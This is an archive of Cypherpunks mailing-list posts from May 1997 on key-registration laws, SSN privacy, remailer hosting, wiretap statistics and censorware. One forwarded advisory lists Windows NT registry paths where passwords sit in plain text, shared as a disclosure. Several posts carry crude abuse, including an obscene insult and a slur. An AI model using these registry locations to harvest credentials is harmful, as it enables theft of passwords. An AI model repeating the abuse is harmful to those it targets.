>>submit keys to this EFF-Georgia repository without providing SS number,
>>passport, mother's maiden name, etc.?
>
>If Tim read the article he quoted from, he will notice that EFGA has sued the
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

I read the whole thing, and several other articles. I even indicated I knew
you knew a lot about this case when I specifically said "But as Robert
knows more directly than I.."

Fucking A, what more do you want?

My point had nothing to do with whether you or EF-GA was involved in a suit
to overturn the law. If the law is still in force, whether EF-GA is
currently suing has nothing to do with my point about enforcement of the
law, and penalties for violation.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue May 27 22:03:53 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 13:03:53 +0800
Subject: The lights went out in Georgia
In-Reply-To: 
Message-ID: 


At 5:05 PM -0700 5/27/97, Bill Stewart wrote:

>It's not really a big problem - the law doesn't forbid the EFF to accept
>anonymously submitted communications, it only forbids Subjects of the
>State of Georgia to send them.
>
>>(Will Georgia seek the BlackNet operator's extradition for not complying
>>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>>plan to enforce the Georgia law?)
>
>If you don't provide enough address information along with your key
>for the Cracker Police to find your True Name and hunt you down,
>that's just a shame, now isn't it...  especially if the EFGA doesn't
>file a complaint about it.  Besides, how can they extradite someone they
>can't find - send polite diplomatic notes to all the governments
>in the world asking them to find some unknown character for them?
>"Please extradite the usual suspects!"

I see this point of view expressed here often, the "they can't catch you so
don't worry about the law," and "they won't be able to get California to
extradite you."

First, I don't happen to think this particular law, even if not overturned,
is likely to see much enforcement, even in Georgia.

However, the large point remains. And I'm less persuaded than Bill is that
such laws are ipso facto ignorable.

I'd hate to be changing planes at Hartsfield (the big hub airport in
Atlanta) and have their computers flag me as having violated their law at
some time in the past. (Why would they bother? Who knows. Maybe a
shakedown, like a speeding ticket. Maybe orders from elsewhere. The point
is that they don't have to _extradite_ nonresidents to have them feel the
force of the law.)

Oh, and any company doing business in Georgia would be a point where legal
pressure s could be applied. Any large company would have to take this law
into account, and could not just cheerfully cite Bill's casual dismissal.

(Again, I don't think this law has much power, and the sponsors have
probably already forgotten it.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Tue May 27 22:07:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:07:44 +0800
Subject: Unexpected SSZ downtime...
In-Reply-To: <199705280306.WAA00383@einstein.ssz.com>
Message-ID: <199705280325.WAA28088@manifold.algebra.com>


Yeah, the weather is rather shitty in the Southwest right now...


igor

Jim Choate wrote:
> 
> Hi,
> 
> As some of you are aware, we are having a hell of a day concerning weather.
> Not only are 300+ homes north of Austin simply not there any more thanks to
> a monster twister (it even tore some of the slabs out of the ground) but we
> have had a very wide power outage. At the current time SSZ and associated
> systems are back up and working. We are expecting another heavy wave of
> weather later tonite. If the current forcast is still set at midnite SSZ may
> go down from midnite CST to around 7AM CST tomorrow.
> 
> Take care and some cover (if you can find it).
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage at ssz.com
> 



	- Igor.






From tcmay at got.net  Tue May 27 22:08:53 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 13:08:53 +0800
Subject: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: 


At 5:02 PM -0400 5/27/97, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Good for you, seriously, but you may not yet have heard the last of this.
As with "frivolous returns" (such as writing comments on the tax forms
submitted, arguing that taxes are not valid, etc.), it is not so much a
matter of the IRS "hassling" you, as a computer-generated letter arriving
stating that you now owe X amount in additional taxes, an amount which
slowly grows with each passing month of doing nothing about it.

I tried to not give my SS number to the California Department of Motor
Vehicles, citing the line on my SS card which says quite clearly:

"FOR SOCIAL SECURITY AND TAX PURPOSES -- NOT FOR IDENTIFICATION"

(This is an exact quote, read from my 1968-9-issued card, which I still have.)

Just which part of this do the folks in various government agencies not
understand?

The woman behind the desk didn't seem interested in my point and just said
that without a valid SS number, no registration tags would be issued. It
was then my choice to drive without tags (and get a ticket anytime a cop
noticed this and decided to act on it) or seek some kind of legal
restraining order (???, but probably $$$).

But this has given me some ideas, which I'll share with you.

With all the various companies and agencies demanding the SS number, why
not demand SS number, mother's maiden name, date of birth, etc., for *all
kinds* of casual things?

If the agencies and companies are so cavalier about ignoring the clear
stipulation that the SS card/number is *not* a general identification
scheme, then it is very doubtful that asking people to supply all this sort
of information is not violating any law.

(If there's a law I could be charged with violating, I'd cite selective
enforcement, noting that my local Mervyns store wanted my SS number a
couple of days ago, the DMV wants SS numbers and other personal info, etc.)

And since several of these numbers are essentially the keys to many
security systems....

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Tue May 27 22:21:51 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:21:51 +0800
Subject: SSN and passport
In-Reply-To: 
Message-ID: <199705280506.AAA28868@manifold.algebra.com>


Tim May wrote:
> 
> If the agencies and companies are so cavalier about ignoring the clear
> stipulation that the SS card/number is *not* a general identification
> scheme, then it is very doubtful that asking people to supply all this sort
> of information is not violating any law.
> 

Tim,


You may have a point regarding the government (state and federal) use
of social security numbers. As for private entities, their use of SSNs
is not regulated. They can ask you for one and you can refuse to give one
out, and they can refuse to do business with you. 

They could, as well, ask for your mother's birthday or your penis size,
or whatever. The things that they may not ask (in my understanding)
are race and possibly some other protected things.

I routinely refuse to give my SSN in stores when I write checks, and in
some other situations.  Typically, it causes a surprised look by a clerk
and not much more, but from time to time I have to talk to their
managers.

This issue is discussed in (I think) alt.privacy FAQ.

	- Igor.






From nobody at huge.cajones.com  Tue May 27 22:58:08 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 13:58:08 +0800
Subject: PRNG
Message-ID: <199705280536.WAA28197@fat.doobie.com>


Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
purposes.

      /_/\/\
      \_\  / Tim C[unt] Mayonnaise
      /_/  \
      \_\/\ \
         \_\/






From blancw at cnw.com  Tue May 27 23:23:27 1997
From: blancw at cnw.com (Blanc)
Date: Wed, 28 May 1997 14:23:27 +0800
Subject: List problems or is it quiet???
Message-ID: <3.0.32.19970527231930.00714874@cnw.com>


At 02:52 PM 5/27/97 +0000, root wrote:

>I`m just sending this to check that this really is not a list problem, as 
>of course 10 posts a day is an uncommonly low traffic level for the list.
.................................................................


This could be the result of a phase-shift brought on by tachyon emissions
generated during the 3-day holiday weekend, creating a distortion in the
space-time continuum.  It likely requires an inspection of the casing for
the dilithium crystals, with potentially a re-engineering of the temporal
warp drive to adjust for wavelet radiations.


   
    ..
Blanc






From boursy at earthlink.net  Wed May 28 06:03:25 1997
From: boursy at earthlink.net (ISP_Ratings)
Date: Wed, 28 May 1997 21:03:25 +0800
Subject: Nym Servers
In-Reply-To: 
Message-ID: <3.0.1.32.19970528075605.006a0674@earthlink.net>


Igor Chudov @ home wrote:
>
>Dr.Dimitri Vulis KOTM wrote:
>
>> ichudov at algebra.com (Igor Chudov @ home) writes:
>
>>> As far as I understand, nym servers die because their maintainers get
>>> tired of the huge amount of mass mailings, mailbombings and complaints
>>> that these servers generate. Often enough they simply do not have the
>>> bandwidth or CPU resources to maintain them.
>> 
>> Stanford Wallace is doing an excellent job hosting "unpopular"
>> Internet features which the politically correct scum (like the
>> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
>> 
>> It's pricey, but it sounds like a nearly ideal site for remailers,
>> nym sevrers, and the like.
>
>I do not think that cyberpromo is a good site for remailers, because
>a lot of sites ignore everything that comes out of cyberpromo and 
>affiliated domains. A user who decides to use a cyberpromo-hosted
>remailer will not be sure whether his messages will be delivered to
>recipients or not.
>
>It may be slightly better to use cyberpromo for a nym server, though.
>
>How much does it cost to have a domain with Cyberpromo?

  How much for a simple account for usenet?  I'd like to get
one--just respond to the cabal from it--they'll read it.  Decent
ISP don't accept cancels--once we get news.admin.* people being
quoted, trashed and praised in these threads they'll get through.

                      Steve








From mix at earth.wazoo.com  Wed May 28 06:36:23 1997
From: mix at earth.wazoo.com (Wazoo MixMaster)
Date: Wed, 28 May 1997 21:36:23 +0800
Subject: Wasting Away
Message-ID: <199705280536.FAA13143@earth.wazoo.com>


An anonymous signature:

"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing."

TruthMonger #26 







From 47574096 at microsoft.com  Wed May 28 23:25:18 1997
From: 47574096 at microsoft.com (47574096 at microsoft.com)
Date: Wed, 28 May 1997 23:25:18 -0700 (PDT)
Subject: Mysteries of the Bible - Live on Tuesdays on the Web
Message-ID: <144523806421342786@scholarship.org>



****** NOTE: There is no cost to enroll in this program. 
To participate and for further information please 
reply with the word "yes" in the subject line. ******


              A N N O U N C E M E N T

      Live on the Internet every Tuesday Night

   "Mysteries of the Bible Revealed and Resolved"

Contrary to the popular opinion created by Time and
Newsweek, every historical event in the Tanakh can be found
in the archaeological and historical records of the Near
East when our revised chronology is taken into account.

All events from Sodom and Gomorrah, through the captivity
in Egypt, the subsequent conquest of the land of Canaan to
the story of Esther will be presented in its archaeological
and historical context and the Biblical account shown to be
completely accurate.

Every Tuesday night, one topic will be presented live on
the Internet starting in the next few days with visuals,
expert interaction and debate by all who wish to be
involved. Each topic will be presented to enable the widest
possible audience to understand and participate. Moderated
by experts in each field.

Please inform all your friends and ask them to send their
e-mail address to:

bible at primesolution.com

for ongoing information.

Some topics to be covered include:

Creation vs. Evolution
Codes in the Torah.
Sodom & Gomorrah: 1.5 million bodies found!
The Famines of the Patriarchs - In Egyptian Records!
The Pyramids and The Sphinx, tombs or .......?
Kabbalah.
Who was the Pharaoh of the Exodus?
Dan, Dan, The Travelling Man
The Hyksos/The Israelites.
The Jericho Story: The Bible and the Archaeology match
at last.
The City of David found.
Solomon's Family - a son in Egypt!
Raiders of the Lost Ark: Found.
Hear Oh Israel, Where Oh Israel?...The Lost tribes...found.
Ezra and The Great Assembly?
The Aleph-Bais, alphabet or Holy Language?
Esther the truth at last.
The Dead Sea Scrolls, a mystery solved.
The Messiah in Prophesy and Reality.
The Times of the End.
etc.etc.etc.

Please note that the focus of this program is scholarly
rather than religious.







From tcmay at got.net  Wed May 28 08:54:05 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 23:54:05 +0800
Subject: OECD attacks one of the Four Horsemen
Message-ID: 



News reports this morning that the OECD is moving out of strictly economic
matters and is focussing on "child porn," calling a special meeting in July
to discuss the laws of various countries and how they can be regularized to
control the availability of porn and child porn on the Net.

(The OECD is the Organization of Economic Cooperation and Development, or
some permutation like that, and is a kind of "economic NATO," but with
various non-European players. It was the OECD that David Aaron was special
ambassador to, before assuming his current duties as Crypto Tsar.)

So, one of the Horsemen is being invoked to control the Net.

(And the story on CNN right after this one was about cryptography, with
"drug smugglers and terrorists" prominently mentioned. The spin was that
citizen-units need cryptography on the Net so that they'll feel more secure
about Net commerce and thus buy more stuff, but that the security cannot be
good enough to make the drug smugglers and terrorists--not to mention the
pornographers!--safe from being caught.)

The war is moving into its next phase.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From sunder at brainlink.com  Wed May 28 09:10:06 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 29 May 1997 00:10:06 +0800
Subject: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: 


On Wed, 28 May 1997, Anonymous wrote:

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

Not to mention the fact that this bitch will grab any email addresses
(including your own) that pass through those accounts and use them for his
own spamming purposes.  Don't do it, it's not worth it, not just for the
money going to a shit eating weasel, but for the principle of the thing -
you'd cause the spamming of everyone using it or communicating with it. 

If you get a web site with them, they'd grab all the email addresses from
the surfers' browsers.  Hell, you might as well get an account on
nsa.gov while you're at it.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From nobody at huge.cajones.com  Wed May 28 10:56:13 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 01:56:13 +0800
Subject: OECD attacks one of the Four Horsemen
Message-ID: <199705281724.KAA15380@fat.doobie.com>


Tim May wrote:
> 
> News reports this morning that the OECD is moving out of strictly economic
> matters and is focussing on "child porn," calling a special meeting in July
> to discuss the laws of various countries and how they can be regularized to
> control the availability of porn and child porn on the Net.
> 
> (The OECD is the Organization of Economic Cooperation and Development

> The war is moving into its next phase.

There will be a "War on Porn" on the internet that will mirror the
"War on Drugs" currently taking place. 
All that the government wants is their piece of the action. Like
drugs, the porn will always be available, but the price will 
fluctuate according to the level of government control and/or
illegality.
The "War on Porn" will turn into another essential national industry
which will become part of the GNP.

The "winners" in this war will be the journalists who have covered
the "War on Drugs" as they will merely have to dust off old stories
and substitute "Porn" for "Drugs" wherever it occurs.
The "loser" will be the Hoover Vacume Cleaner Company, whose development
of Virtual Cathouse technology will fall victim to new legislation.

TruthMonger

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."






From frantz at netcom.com  Wed May 28 11:07:31 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 29 May 1997 02:07:31 +0800
Subject: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <199705271720.MAA32492@mailhub.amaranth.com>
Message-ID: 


At 12:04 PM -0700 5/27/97, Tim May wrote:
>(And the lotteries have incredibly bad payoff odds...something like 30-40%,
>if I remember correctly. A slot machine with these odds would be shut down
>instantaneously as being a theft device! The state lotteries are often
>called "taxes on stupidity," and none of the well-off folks I know ever
>play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
>are squandering their paychecks on State-run gambling...but the principle
>is the thing I object to.)

I object to the state, providing addictive substances/experiences when
private enterprise could do the job.  If they are against addiction, then
they should set a good example.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From nobody at huge.cajones.com  Wed May 28 11:18:03 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 02:18:03 +0800
Subject: FWD: Statement on nym.alias.net
Message-ID: <199705281741.KAA15961@fat.doobie.com>


Date: Wed, 28 May 1997 13:16:27 -0400 (EDT)
From: "Fred B. Ringel" 
Subject: Statement on nym.alias.net

Hi all-

	An important message from the administrator of one of the best run
remailers (IMHO), nym.alias.net, follows. This is especially important to
those using nym.alias.net in their reply blocks or as their sole nym
remailer.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey at joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: 28 May 1997 14:14:08 -0000
From: lcs Remailer Administrator 
Subject: Statement on nym.alias.net.
Newsgroups: alt.privacy.anon-server

The alias.net domain has been put "on hold" by the internic.  The
result of this, among other things, is that host nym.alias.net no
longer exists.

Since the alias.net domain itself it not administered by the same
people as nym.alias.net, I don't yet know why this is.  Given that
today is exactly 3 months after the creation anniversary of alias.net,
and the fact that the internic does an extremely poor job of billing
people and processing their payments, I suspect this has resulted from
some sort of billing confusion rather than any kind of anti-remailer
activity.  However, I've not heard back from the alias.net
administrators yet, so don't know anything for sure.

I just wanted to get the word out that we have no intention of
shutting down nym.alias.net.  The machine is still up and running, and
will be useable as soon as domain name service is restored.






From frantz at netcom.com  Wed May 28 11:33:47 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 29 May 1997 02:33:47 +0800
Subject: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: 


At 8:45 AM -0700 5/28/97, Ray Arachelian wrote:
>On Wed, 28 May 1997, Anonymous wrote:
>
>> However, the prices have changed since I brought up the idea
>> a month ago.  At the time, they had auto-responders with POP mail -
>> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
>> Now, however, they offer autoresponders for 3/$99 for three years,
>> with no mention of POP mail or forwarding - I don't know if they've
>> dropped the service (in favor of web hosting at $25/month),
>> or if it's still there and just not advertised.  (Of course,
>> there's still the moral dilemma that even $99 is $99 in Spamford's
>>pocket :-)
>
>Not to mention the fact that this bitch will grab any email addresses
>(including your own) that pass through those accounts and use them for his
>own spamming purposes.  Don't do it, it's not worth it, not just for the
>money going to a shit eating weasel, but for the principle of the thing -
>you'd cause the spamming of everyone using it or communicating with it.
>
>If you get a web site with them, they'd grab all the email addresses from
>the surfers' browsers.  Hell, you might as well get an account on
>nsa.gov while you're at it.

At least nsa.gov won't spam the addresses they've grabbed.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From maxx at compuserve.com  Thu May 29 03:11:13 1997
From: maxx at compuserve.com (maxx at compuserve.com)
Date: Thu, 29 May 1997 03:11:13 -0700 (PDT)
Subject: Best 100% anonymous e-mail software on earth!
Message-ID: <>


Very low prices - far superior to Email Magnet, NetContact, Email Pro, Stealth Bomber etc.

For details - see www.cybermaxx.com
Or email maxx at keepmailing.com for enquiries.

Thank you.





From nobody at huge.cajones.com  Wed May 28 12:13:21 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 03:13:21 +0800
Subject: Nym Servers & cyberpromo
Message-ID: <199705281850.LAA18158@fat.doobie.com>


Clever Computers (http://www.clever.net) is worth a look.  More expensive
than what's been mentioned so far, but not extraordinarily so.  They're
pretty flexible and I suspect that the sysadmins would be discreetly
sympathetic to the cause.







From eb at comsec.com  Wed May 28 12:40:53 1997
From: eb at comsec.com (Eric Blossom)
Date: Thu, 29 May 1997 03:40:53 +0800
Subject: 1996 Wiretap Report
Message-ID: <199705281840.LAA18489@comsec.com>


I've been enjoying the 1996 Wiretap report.  A couple of my favorite
observations are:

(1) Of the 1149 intercept applications authorized for 1996,  
    821 were for "Narcotics" and 114 were for "Gambling".  
    I.e., 81% of the authorized intercepts were targeted at good old
    fashioned entrepreneurs.

(2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
    applications were approved.  Of that number 5 (five!) were for
    "Arson, explosives, and weapons."  Unless they've classified wiretaps
    against "suspected terrorists" in the "Other" category, it looks
    as if the LEOs don't think (targeted) wiretaps are useful for stopping
    small groups of modestly skilled people bent on blowing things up. No Shit.






From sunder at brainlink.com  Wed May 28 13:58:32 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 29 May 1997 04:58:32 +0800
Subject: [NTSEC] Plaintext passwords exist in registry (fwd)
Message-ID: 




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Wed, 28 May 1997 09:17:53 -0700
From: Bill Stout 
To: PHILIPB at Omnicell.com, chris at auditek.com, ntsecurity at iss.net
Subject: [NTSEC] Plaintext passwords exist in registry

Most facinating what you find if you look. 

The registry does store some passwords in plain text.  The importance of the
passwords you do find depends on your installation.  I found 'password' and
'username' entries at the below locations, but not much software was
installed on these NT boxes.  Searching the NT registry for my password
string did not did not display anything, searching the W95 registry for my
specific password string found it in many places:

password locations:
hkey_local_machine\system\controlset001\services\gophersvc\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                                             ...\msftpsvc\parameters
                                             ...\w3svc\parameters\

username locations:
\hkey+local_machine\software\microsoft\windowsnt\currentversion\winlogon\
                ...\system\controlset001\services\bh\parameters
                      ...\controlset002\"
                      ...\curentcontrolset\"
                ...\services\gophersvc\parameters\anonymouseusername
                                              ...\logsqlusername
                         ...\msftpsvc\parameters\anonymoususername
                                             ...\logsqlusername
                         ...\w3svc\parameters\anonymoususername
                                             ...\logsqlusername


_____________________________________________________________________________
Bill Stout       (Systems Engineer/Consultant)         stoutb at pios.com
Pioneer Standard (Computer Systems & Components)       http://www.pios.com/
San Jose, CA     (Location of 1 of 52 U.S. offices)    (408) 954-9100
*My opinions do not reflect that of the company, and visa-versa, thankfully.*







From tcmay at got.net  Wed May 28 14:50:29 1997
From: tcmay at got.net (Tim May)
Date: Thu, 29 May 1997 05:50:29 +0800
Subject: [NTSEC] Plaintext passwords exist in registry (fwd)
In-Reply-To: 
Message-ID: 


At 4:45 PM -0400 5/28/97, Ray Arachelian wrote:

>---------- Forwarded message ----------
>Date: Wed, 28 May 1997 09:17:53 -0700
>From: Bill Stout 
>To: PHILIPB at Omnicell.com, chris at auditek.com, ntsecurity at iss.net
>Subject: [NTSEC] Plaintext passwords exist in registry
>
>Most facinating what you find if you look.
>
>The registry does store some passwords in plain text.  The importance of the

I found mine as well:

http://nsa.gov/secure/national-key-recovery-infrastructure/citizens/m/may-timoth
y-c


I had hope that the mandatory voluntary key recovery infrastructure,
mandated by the Secure and Safe Net Act of 1997, would have taken better
care not to place my key in such a visible place.

Jeesh. But our government must know what it's doing, right?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Wed May 28 15:04:41 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 29 May 1997 06:04:41 +0800
Subject: Time Magazine: "No Privacy on the Web" (6/2/97)
Message-ID: 



********

>Date: Wed, 28 May 1997 16:17:17 -0400
>To: fight-censorship-announce at vorlon.mit.edu
>From: Declan McCullagh 
>Subject: FC: Time Magazine: "No Privacy on the Web" (6/2/97)
>Sender: owner-fight-censorship-announce at vorlon.mit.edu
>Reply-To: declan at well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>In this week's Time Magazine (p64-65), you'll find a privacy story that
>Noah and I worked on:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
>n
>.html
>
>Then there's the sidebar with our report on how much info we were able to
>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>unlisted phone number, and home address, but we had to pay for some of it:
>
>http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html
>
>-Declan
>
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>







From declan at well.com  Wed May 28 15:04:44 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 29 May 1997 06:04:44 +0800
Subject: CyberPatrol bans Computer underground Digest
Message-ID: 



*********

>Date: Wed, 28 May 1997 17:14:43 -0400
>To: fight-censorship-announce at vorlon.mit.edu
>From: Declan McCullagh 
>Subject: FC: CyberPatrol bans Computer underground Digest
>Sender: owner-fight-censorship-announce at vorlon.mit.edu
>Reply-To: declan at well.com
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>
>For as long as I can remember, Northern Illinois University criminal
>justice prof. Jim Thomas has been editing an online newsletter called
>Computer underground Digest. In it, he's chronicled the hacker wars, the
>crypto battles, and the fight over the CDA. It's been an invaluable
>resource to the Net-community. In fact, you'll see a lot of
>fight-censorship posts and articles end up in CuD.
>
>Now it's been blocked by censorware. Jim's offense? According to
>CyberPatrol, he's a "Militant Extremist."
>
>-Declan
>
>**********
>
>Date: Mon, 26 May 1997 22:45:26 -0500 (CDT)
>From: Jim Thomas 
>To: fight-censorship at vorlon.mit.edu
>Subject: CyberPatrol bans CuD  & Crypt Newsletter
>
>On Mon, 26 May 1997, Declan McCullagh wrote:
>
>(quoting from George Smith):
>
>> Huh! Thanks to your page I've just found out Crypt Newsletter is
>> banned by the fine folk at Cyber Patrol for being "militant extremists."
>
>George also forwarded the following to me:
>
>   Jim:
>
>   I suppose you already know this but I just found out Crypt Newsletter
>   and CuD were blocked by CyberPatrol and NetNanny.
>
>   Crypt Newsletter for being Militant/Extreme
>   CuD for being Militant/Extreme/violence/Profanity
>
>Whatever else CuD might be, I'm at a loss to even guess how
>"militant," "extreme," and "violent" characterize it. But, some
>profanity does slip in, especially in legal documents and similar
>resources.
>
>jt
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>







From DataETRsch at aol.com  Wed May 28 15:10:47 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Thu, 29 May 1997 06:10:47 +0800
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174156_439550795@emout05.mail.aol.com>


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
